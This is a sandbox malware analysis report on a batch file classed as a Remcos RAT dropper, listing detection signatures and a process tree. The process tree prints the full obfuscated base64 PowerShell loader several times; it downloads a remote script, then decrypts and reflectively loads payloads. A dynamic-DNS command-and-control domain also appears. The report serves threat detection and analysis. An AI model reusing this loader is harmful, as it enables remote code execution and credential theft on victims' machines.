Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
As7KZaO9Dy.bat

Overview

General Information

Sample name:As7KZaO9Dy.bat
renamed because original name is a hash value
Original sample name:ef523c286eea072a9afd853f1c09629eaad923d3283865182ff0f75899fb5aa0.bat
Analysis ID:1612234
MD5:c25ef8c23f1bb4dd53eb0e811456678b
SHA1:b9ac6ded68cd19d069c49adeeb20d6b74bf6d29c
SHA256:ef523c286eea072a9afd853f1c09629eaad923d3283865182ff0f75899fb5aa0
Tags:abokirem-duckdns-orgbatuser-JAMESWT_MHT
Infos:

Detection

Remcos
Score:100
Range:0 - 100
Confidence:100%

Signatures

Antivirus detection for URL or domain
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Drops script at startup location
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected Powershell decode and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
.NET source code contains a sample name check
.NET source code references suspicious native API functions
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Connects to many ports of the same IP (likely port scanning)
Found suspicious powershell code related to unpacking or dynamic code loading
Installs a global keyboard hook
Joe Sandbox ML detected suspicious sample
Maps a DLL or memory area into another process
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: Suspicious Script Execution From Temp Folder
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Yara detected WebBrowserPassView password recovery tool
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Too many similar processes found
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match

Classification

Process Tree

  • System is w10x64
  • cmd.exe (PID: 1976 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\As7KZaO9Dy.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 1656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 4304 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\Desktop\As7KZaO9Dy.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 3204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 3664 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNhQUJDZEFCQyhbYnl0ZVtdXSRwYXJhbV92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRsaWt0YT0kdGxvZ2guQUJDRUFCQ25BQkN0QUJDckFCQ3lBQkNQQUJDb0FCQ2lBQkNuQUJDdEFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckbGlrdGEuQUJDSUFCQ25BQkN2QUJDb0FCQ2tBQkNlQUJDKCRudWxsLCAkcGFyYW0yX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7fSRza2wgPSAkZW52OlVTRVJOQU1FOyR2cWNqZSA9ICdDOlxVc2Vyc1wnICsgJHNrbCArICdBQkNcQUJDZEFCQ3dBQkNtQUJDLkFCQ2JBQkNhQUJDdEFCQycuUmVwbGFjZSgnQUJDJywgJycpOyRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHZxY2plOyRzanNrdT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHZxY2plKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbWFkIGluICRzanNrdSkgewlpZiAoJG1hZC5TdGFydHNXaXRoKCc6OicpKQl7CQkkcG1iZGo9JG1hZC5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kY3hyZ2w9W3N0cmluZ1tdXSRwbWJkai5TcGxpdCgnXCcpO0lFWCAnJHJ0bm9rPWJqcnlrIChqbGpybiAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCRjeHJnbFswXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTtJRVggJyRia3l5dT1ianJ5ayAoamxqcm4gKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkY3hyZ2xbMV0pKSk7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7d3p0Z3AgJHJ0bm9rICRudWxsO3d6dGdwICRia3l5dSAoLFtzdHJpbmdbXV0gKCclQUJDJykpOw==')) | IEX" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • powershell.exe (PID: 3532 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\xiwpgftnewcebsxtokyugqisw" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • powershell.exe (PID: 64 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\icjhhxdoaeujmglxxvkwjddjxxvg" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • powershell.exe (PID: 4160 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\kwpaipoiommoomhbogxpuhysgmfpeisd" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • cmd.exe (PID: 3532 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_ec5275dd.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
          • conhost.exe (PID: 4440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • cmd.exe (PID: 3632 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_ec5275dd.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
            • conhost.exe (PID: 424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • powershell.exe (PID: 364 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNhQUJDZEFCQyhbYnl0ZVtdXSRwYXJhbV92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRsaWt0YT0kdGxvZ2guQUJDRUFCQ25BQkN0QUJDckFCQ3lBQkNQQUJDb0FCQ2lBQkNuQUJDdEFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckbGlrdGEuQUJDSUFCQ25BQkN2QUJDb0FCQ2tBQkNlQUJDKCRudWxsLCAkcGFyYW0yX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7fSRza2wgPSAkZW52OlVTRVJOQU1FOyR2cWNqZSA9ICdDOlxVc2Vyc1wnICsgJHNrbCArICdBQkNcQUJDZEFCQ3dBQkNtQUJDLkFCQ2JBQkNhQUJDdEFCQycuUmVwbGFjZSgnQUJDJywgJycpOyRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHZxY2plOyRzanNrdT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHZxY2plKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbWFkIGluICRzanNrdSkgewlpZiAoJG1hZC5TdGFydHNXaXRoKCc6OicpKQl7CQkkcG1iZGo9JG1hZC5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kY3hyZ2w9W3N0cmluZ1tdXSRwbWJkai5TcGxpdCgnXCcpO0lFWCAnJHJ0bm9rPWJqcnlrIChqbGpybiAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCRjeHJnbFswXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTtJRVggJyRia3l5dT1ianJ5ayAoamxqcm4gKFtBQkNDQUJDb0FCQ25BQkN2QUJDZUFCQ3JBQkN0XTo6QUJDRkFCQ3JBQkNvQUJDbUFCQ0JBQkNhQUJDc0FCQ2VBQkM2QUJDNEFCQ1NBQkN0ckFCQ2lBQkNuQUJDZygkY3hyZ2xbMV0pKSk7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7d3p0Z3AgJHJ0bm9rICRudWxsO3d6dGdwICRia3l5dSAoLFtzdHJpbmdbXV0gKCclQUJDJykpOw==')) | IEX" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
  • cmd.exe (PID: 1656 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_eb7db44d.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 64 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 4036 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_eb7db44d.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 5432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 6092 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0FzQUJDc2VBQkNtYkFCQ2xBQkN5QUJDXTo6TEFCQ29BQkNhQUJDZEFCQyhbYnl0ZVtdXSRwYXJhbV92YXIpOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRsaWt0YT0kdGxvZ2guQUJDRUFCQ25BQkN0QUJDckFCQ3lBQkNQQUJDb0FCQ2lBQkNuQUJDdEFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckbGlrdGEuQUJDSUFCQ25BQkN2QUJDb0FCQ2tBQkNlQUJDKCRudWxsLCAkcGFyYW0yX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7fSRza2wgPSAkZW52OlVTRVJOQU1FOyR2cWNqZSA9ICdDOlxVc2Vyc1wnICsgJHNrbCArICdBQkNcQUJDZEFCQ3dBQkNtQUJDLkFCQ2JBQkNhQUJDdEFCQycuUmVwbGFjZSgnQUJDJywgJycpOyRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHZxY2plOyRzanNrdT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHZxY2plKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbWFkIGluICRzanNrdSkgewlpZiAoJG1hZC5TdGFydHNXaXRoKCc6OicpKQl7CQkkcG1iZGo9JG1hZC5TdWJzdHJpbmcoMik7CQlicmVhazsJfX0kY3hyZ2w9W3N0cmluZ1tdXSRwbWJkai5TcGxpdCgnXCcpO0lFWCAnJHJ0bm9rPWJqcnlrIChqbGpybiAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDcnRdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzZTZBQkM0QUJDU0FCQ3RBQkNyaUFCQ25BQkNnQUJDKCRjeHJnbFswXSkpKTsnLlJlcGxhY2